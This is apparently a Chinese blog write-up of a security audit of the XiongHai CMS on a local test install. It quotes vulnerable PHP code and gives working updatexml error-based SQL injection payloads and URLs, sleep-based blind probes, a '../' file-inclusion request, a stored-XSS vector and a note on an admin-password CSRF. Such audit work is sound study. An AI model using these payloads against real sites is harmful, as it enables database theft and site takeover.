熊海CMS审计
环境准备
熊海cms的代码直接搜索一下就能下载到,本次实验的环境使用的mac+XAMPP,先总结下审计这套CMS发现的漏洞类型。漏洞数量较多,没有逐一列出来。
1.sql注入(时间注入和报错注入/get,post)
2.存储xss
3.文件包含
4.逻辑漏洞(登录绕过,csrf)等
CMS的文件结构
admin //后台文件
css //css文件
files // 功能函数文件
images // 存放照片
inc //配置文件
install //安装文件
seacmseditor //第三方编辑器
template //模版文件
upload //文件上传目录
index.php //主目录
使用说明.txt //说明文件
SQL注入(报错注入)
首先我们来看看主目录打开index.php
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
接收一个r参数,然后跳转到r.php。如果r为空则会包含files/index.php文件,接下来我们来看看
files/index.php这个文件 line34
<a href="?r=content&cid=<?php echo $toutiaoimg['id']?>" title="<?php echo $toutiaoimg['title']?>"><img src="<?php echo $toutiaoimg['images']?>"></a>
这里有个a标签的跳转,r=content,那么肯定就是包含了content.php文件了,我们来分析下
<?php
require 'inc/conn.php';
require 'inc/time.class.php';
$query = "SELECT * FROM settings";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$info = mysql_fetch_array($resul);
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM content WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$content = mysql_fetch_array($resul);
$navid=$content['navclass'];
$query = "SELECT * FROM navclass WHERE id='$navid'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$navs = mysql_fetch_array($resul);
//浏览计数
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
@mysql_query($query) or die('修改错误:'.mysql_error());
?>
<?php
$query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1)");
$pinglunzs = mysql_num_rows($query)
?>
这里可以看见只有cid参数使用了addslashes方法过滤,这种情况只能看是否是GBK编码的方式连接数据库来进行宽字节注入了,那个用引号包裹起来的cid就比较鸡肋,下面我们来找找没有被引号包裹起来的
line19
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
这条语句可以直接在sql中执行下,这是一个update语句查询,很明显有注入了,对update注入,查询了网上的资料,主要是盲注和报错注入
and 1=1 //正确
and 1=2 //正确
and sleep(5) //延迟成功
image.png
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
这里稍微晚点我们另起一篇updatexml的利用,这里直接使用上面的payload
所以我们完成的URL应该是
http://localhost/xhcms/index.php?r=content&cid=1%20and%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1)
这里能运用报错注入的还有一个条件,就是有回显
mysql_query($query) or die('SQL语句有误:'.mysql_error());
报错注入2
content.php这个我们继续往下看,可以看到
<div id="plbt"><strong>→ 和谐网络,文明发言!</strong>发表评论:</div>
<form name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>">
<input name="cid" type="hidden" value="<?php echo $id?>"/>
<ul>
<li><span>昵称</span><input name="name" type="text" value="<?php echo $_COOKIE['name']?>" /></li>
<li><span>邮箱</span><input name="mail" type="text" value="<?php echo $_COOKIE['mail']?>"/></li>
<li><span>网址</span><input name="url" type="text" value="<?php echo $_COOKIE['url']?>"/></li>
<textarea name="content" cols="" rows=""></textarea>
<input name="save" type="submit" value="提交" id="input2"/>
<div id="code"><span>验证码</span><input name="randcode" type="text" /> <span id="yspan"><img src="../inc/code.class.php" onClick="this.src=this.src+'?'+Math.random();" title="看不清楚?点击刷新验证码?"></span>
</div>
<div id="xx">
<span><input name="jz" type="checkbox" value="1" checked="checked"/> 记住我的个人信息</span>
<span><input name="tz" type="checkbox" value="1" checked="checked"/> 回复后邮件通知我</span>
</div>
<div id="qcfd"></div>
</ul>
</form>
</div>
</div>
一个表格,请求为r.submit, 所以我们定位到submit.php 中
session_start();
require 'inc/conn.php';
$type=addslashes($_GET['type']);
$name=$_POST['name'];
$mail=$_POST['mail'];
$url=$_POST['url'];
$content=$_POST['content'];
$cid=$_POST['cid'];
$ip=$_SERVER["REMOTE_ADDR"];
$tz=$_POST['tz'];
if ($tz==""){$tz=0;}
$jz=$_POST['jz'];
除了type,其他参数都没有进行转换,继续找sql语句 line66
image.png
好了,这就是一个注入了,可以是使用上一个同样的payload
1111@qq.com') and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
报错注入3
接着submit.php往下看,看到了一个insert into的语句
$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'$name',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";
@mysql_query($query) or die('新增错误:'.mysql_error());
这里一样由于前面没有对这些参数进行过滤,这里将参数直接insert插入到数据库当中,试试insert注入
asdsad' or updatexml(1,concat(0x7e,(database())),0) or'
报错注入4
上面基本上看完了content,看看其他功能,
image.png
看了代码基本上和content类似,存在可以利用的地方
image.png
这套CMS还存在很多注入的地方这里就不一一列举,接着我们来看看其他漏洞
XSS
这里是留言的功能出现了问题,可以弹窗
image.png
我们来分析下原理
files/content.php(line 107-119)
<div class="userinfo">
<div class="lou">#<?php echo $pinglun['id']?> 楼</div>
<?php if ($pinglun['url']<>""){?>
<a href="<?php echo $pinglun['url']?>" target="_blank" ><img src="upload/portrait/<?php echo $pinglun['touxiang']?>.jpg"></a>
<?php }else{?>
<img src="upload/portrait/<?php echo $pinglun['touxiang']?>.jpg">
<?php }?>
<strong><a href="<?php echo $pinglun['url']?>" target="_blank"><?php echo $pinglun['name']?></a><span>Lv 1</span></strong>
<li>位置:<a><?php echo $pinglun['ip']?></a></li>
<li>时间:<a><?php echo tranTime(strtotime($pinglun['date']))?></a></li>
<li>来自:<a><?php echo $pinglun['shebei']?></a></li>
</div>
<div class="content">
这里是从$pinglun这个变量中去除其中的信息,跟踪这个变量到line100-101
$query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1) ORDER BY id DESC LIMIT 5");
$pinglunzs = mysql_num_rows($query);
这里的interaction就是储存评论的地方了。
那我们在看看是怎么写进去的
提交用的submit也就是submit.php
$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'$name',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";
@mysql_query($query) or die('新增错误:'.mysql_error());
并没有做任何处理,但是这里只有name处有XSS,为什么content没有呢,我们看下line48
$content= addslashes(strip_tags($content));//过滤HTML
这里做了过滤,strip_tags函数出去了html标签,同理还可以找到更多的漏洞
文件包含
这个漏洞其实就在主页上,我们来看一下
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
这里r参数接收文件名,访问files/index.php,我们在根目录上建一个1.php
<?php
phpinfo();
?>
访问http://localhost/xhcms/index.php?r=../1
这里对输入的r参数有一个addslashes转译,但是并没有什么用
CSRF
我们来看一下后台操作,修改密码功能我们可以找到manage.php
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM manage";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$manage = mysql_fetch_array($resul);
$save=$_POST['save'];
$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];
if ($save==1){
if ($user==""){
echo "<script>alert('抱歉,帐号不能为空。');history.back()</script>";
exit;
}
if ($name==""){
echo "<script>alert('抱歉,名称不能为空。');history.back()</script>";
exit;
}
if ($password<>$password2){
echo "<script>alert('抱歉,两次密码输入不一致!');history.back()</script>";
exit;
}
这里并没有使用token,也没有要求初始密码,只是判断两次密码是否相同,利用bp写好csrf poc,就可以使用了。
结语
这套CMS,基本上没什么防护机制,在审计过程中也比较简单,但对漏洞产生的原理有了更深的理解,希望大家能跟我一样下载来审计一下。